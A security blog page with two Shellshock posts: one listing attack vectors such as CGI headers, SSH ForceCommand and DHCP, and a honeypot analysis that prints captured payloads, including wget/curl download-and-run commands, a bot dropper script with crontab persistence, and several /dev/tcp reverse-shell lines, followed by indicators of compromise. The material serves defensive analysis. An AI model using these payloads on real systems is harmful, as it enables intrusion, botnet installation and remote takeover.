Episode 6 – ShellShock Investigation Part 2


Over the past few days, we have been researching about Shellshock and found a number of attack vectors that makes the vulnerability much easier to exploit. This article may not contain the entire list of attack vectors but we are doing our best in updating this list. Kindly leave us a comment if you have faced any attack vectors apart from what we are discussing here.

MOST COMMON VECTORS

The most commonly used vectors that can lead to exploiting this vulnerability are

  1. CGI
  2. SSH and
  3. DHCP

Apart from these commonly known attack vectors, we were able to find a list of other attack vectors, which aid in exploiting this vulnerability. We will discuss mainly the above-mentioned vectors and plunge into other less common vectors.

Shellshock is a vulnerability that allows hackers to inject commands to a computer’s operating system over the network. The vulnerability potentially affects most versions of the Linux and Unix operating systems, Mac OS X, Servers, Wi-Fi routers, Firewalls and even appliances, which invoke bash shell.

For a system to be vulnerable to Shellshock, the following 3 conditions must be met:

  1. It must set an environment variable whose value is attacker-controlled and must begin with “() } “
  2. It must invoke bash shell

3.The system must be running on a vulnerable version of bash.

Having a basic idea of Shellshock, let us begin our discussion first on the common attack vectors that are being employed.

1.Common Gateway Interface (CGI) which is an interface between a web server and executable that produce dynamic content and has been identified as the major attack vector.

Let us start our discussion with a typical HTTP request looks like the following:

GET /path?query-param-name=query-param-value HTTP/1.1
Host: www.example.com
Custom: custom-header-value

The CGI specification maps all parts to environment variables. With Apache httpd, the magic string “() {” can appear in these places:

* Host (“www.example.com”, as REMOTE_HOST)
* Header value (“custom-header-value”, as HTTP_CUSTOM in this example)
* Server protocol (“HTTP/1.1”, as SERVER_PROTOCOL)

The user name embedded in an Authorization header could be a vector as well, but the corresponding REMOTE_USER variable is only set if the user name corresponds to a known account according to the authentication configuration, and a configuration which accepts the magic string appears somewhat unlikely.

In addition, with other CGI implementations, the request method (“GET”), path (“/path”) and query string (“query-param-name=query-param-value”) may be vectors, and it is conceivable for “query-param-value” as well, and perhaps even “query-param-name”.

  1. Secure Shell (SSH) vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.
  1. DHCP clients can manipulate environment variables using data taken from DHCP server. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation

We can start a DHCP server on the network and set the random string value to () { ;}; echo “This is a test”. We can replace the string to “This is a test” to any command that we want the client machine to execute.

Additional information can be grabbed from:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

LESS COMMON VECTORS

As we have discussed the most common attack vectors of Shellshock vulnerability, we will also have an overview of the less common vectors that are being used to exploit the vulnerability.

MAIL SERVICES: Majority of the UNIX mail services are exposed to Shellshock vulnerability during their mail handling procedures. Exim, Postfix, qmail and Procmail are the mail services that can be used to exploit the vulnerability.

EXIM sets a number of attacker controlled environment variables when invoking the pipe transport. Whether or not it uses the shell invoke it is determined by the use_shell op­tion. Even if the use_shell is not set, the program invoked is often a shell script. Therefore, many Exim configurations are likely to be vulnerable.

Postfix does not set any attacker-controller environment variables, so Postfix is not typically vulnerable.

qmail can be used as an attack vector to exploit the bash vulnerability which can be used to execute arbitrary commands as any valid user with a .qmail containing a program delivery. The conditions that need to be met for exploiting the vulnerability using qmail are:

1) “Shellshock”-vulnerable bash

2) /bin/sh symlinked to bash

3) Email delivery via qmail to a valid user with a .qmail file containing ANY program delivery (the actual program being delivered to is irrelevant)

OPEN VPN can be configured to call out to a number of user-supplied helper programs. Open VPN does not itself use the shell invoke them, but the programs themselves are usually shell scripts. It sets a number of environment variables few of which, such as fields parsed out of the X.509 certificate, are possibly attacker-controlled. Servers can cause clients (but not vice versa) to set $foreign_option_* to arbitrary values. Many Open VPN configurations are likely to be vulnerable.

 

Episode 6 – ShellShock Investigation Part 1


ShellShock & Linux.Backdoor.Kaiten

At Infosecnirvana.com, we regularly investigate Security Threats so that we can help the larger community by sharing knowledge on all things Security. As part of the investigation efforts, we have deployed Honeypots in the wild. We will be posting a blog on this new journey we are embarking on.

Today, we got an alert from one of our Honeypots and surprisingly enough, we were surprised to see that it was a ShellShock call 🙂

This post is going to be very rudimentary, as we want to first get the information out to as many people as we can. We will be updating the post to make it more comprehensive as we closely track this “now big thing”

Here is the log alert we picked up:

28-09-2014 09:43:55,121.9.244.212,() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh",

Update: I got 2 more alerts in my Honeypot:

29-09-2014 07:43:08,
,67.227.0.73,() { :;}; /bin/bash -c "wget -P /var/tmp 174.143.240.43/.../x ; perl /var/tmp/x",

29-09-2014 09:30:11,54.251.83.67,() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a

So being curious, I looked up first to find out more about the IP – 121.9.244.212. A quick lookup pointed to “CHINANET-GD”. Now that we know about the IP, let’s look at the command requested:

() { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh

The command represents an attempt by the remote attacker to inject malicious and/or arbitrary code following a function definition to download a file called ‘SH’ to the /tmp directory.

The file ‘sh’ contains the following:

sandbox-mac:dump user$ cat regular.bot 
killall perl

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;
curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;
gcc -o /tmp/a /tmp/a.c;
/tmp/a;
rm -rf /tmp/a.c;
   
wget http://stablehost.us/bots/a -O /tmp/a;
curl -o /tmp/a http://stablehost.us/bots/a;
chmod +x /tmp/a;
/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;
curl -o /tmp/d http://stablehost.us/bots/darwin;
chmod +x /tmp/d;
/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;
curl -o /tmp/pl http://stablehost.us/bots/pl;
perl /tmp/pl;
rm /tmp/pl;

echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;

So, the file once downloaded, goes about doing a series of tasks.

  • Download a  “.C” file and compile it using “gcc”.
    sandbox-mac:dump user$ md5 kaiten.c
    MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6
  • Download 2 binary files:
    “a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami “darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb Backdoor:OSX/Tsunami.A
  • Makes the downloaded files as executables and executes them.
  • Next it brings down a Perl file (pl) and executes the perl file: sandbox-mac:dump user$ md5 pl MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, checks news from packet storm, Installs Socks5, does nmap, sql scanner, checks if the box is root-able, opens up IRC channels, does TCP/UDP/Http Floods based on commands received from the Master server,  performs Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands used for above are:

# !bot @multiscan  
# !bot @socks5
# !bot @sql2  

# !bot @portscan 
# !bot @logcleaner
# !bot @sendmail    
# !bot @system
# !bot @cleartmp
# !bot @rootable
# !bot @nmap   
# !bot @back   
# !bot @linuxhelp
# !bot @cd tmp:. | for example
#-----[Advisory-New Based]-----
# !bot @packetstorm
# !bot @milw0rm
#-----[DDos Based]-----
# !bot @udpflood   

IRC Names:

"telnet","putty","cgi-bin","bash","tmp","var","omset","dat","chynthe","bed"

And to top it all, the bot updates itself on a weekly basis using crontab.

Now, let’s look at the domain “stablehost.us” (Update: The website has been taken down shortly after this article was posted)

Stablehost.us is registered to a gentleman in the US since Mar-16-2010.  It runs Apache server on Ubuntu OS.

sandbox-mac:dump user$ curl -I stablehost.us

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:33:15 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT
ETag: "0-50411703b49e2"
Accept-Ranges: bytes
Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

sandbox-mac:dump user$ curl -I http://stablehost.us/bots/
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:38:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.4
Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the regular.bot file

Wayback Machine Bot directory Results

01-marc-2011

After a new bot addition
02

More Patterns:

We have 1 more pattern:

121.9.244.212 – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these:

67.229.128.88 – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/67.229.128.88/9527 0<&1 2>&1

153.121.58.243 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/153.121.58.243/443 0>&1

82.99.57.32 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443”
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1”

114.96.140.114 – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/114.96.140.114/6032 0>&1

113.10.223.171 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/113.10.223.171/8080 0<&1 2>&1

Indicators of Compromise:

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

  • 121.9.244.212 (ISP)
  • 89.33.193.10 (PERL BOT)
  • 142.4.215.115 ( { :;}; /bin/bash -c \”cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\”)
  • 67.227.0.73
  • 174.143.240.43
  • 54.251.83.67
  • 142.0.41.57
  • 153.121.58.243
  • 67.229.128.88
  • 82.99.57.32
  • 114.96.140.114
  • 113.10.223.171
  • 104.192.103.6
  • 72.167.37.182
  • 37.187.225.119
  • 195.225.34.101
  • 202.137.176.146
  • 204.232.241.139
  • 46.161.41.142
  • 81.18.135.38
  • 94.102.52.10
  • 82.118.242.223
  • 201.205.255.56
  • 83.96.168.161
  • 199.27.89.22
  • 5.135.127.38
  • 103.28.36.123
  • 82.80.195.86
  • 194.54.9.11
  • 173.45.100.18
  • 192.227.213.66
  • 70.42.149.72
  • 75.127.84.182

Web Requests: (some of the hard-coded urls in the perl file)

  • http://stablehost.us
  • http://singlesaints.com
  • http://search.hotbot.de/cgi-bin/pursuit?pag=<some_val>&query=”
  • http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://www.mozbot.fr/search?q=
  • http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=
  • http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://busca.uol.com.br/www/index.html?q=
  • http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=

Recommendations:

Please visit Identifying and Fixing Bash Vulnerability for details about testing and fixing this vulnerability

Evaluating SIEM – Version 2.0


We are Infosecnirvana have posted Evaluating SIEM – What you need to know?. Readers had a lot of good comments on this post and one of the readers – Frank Bijkersma who blogs here came up with an idea to expand the content in the post to make it a Whitepaper which will serve as a good post. So here you go – Evaluating SIEM – Version 2.0.

Evaluating SIEM - Version 2.0

So here it is. Please feel free to read the guide and let us know your thoughts on it.

 

Follow

Get every new post delivered to your Inbox

Join other followers:

%d bloggers like this: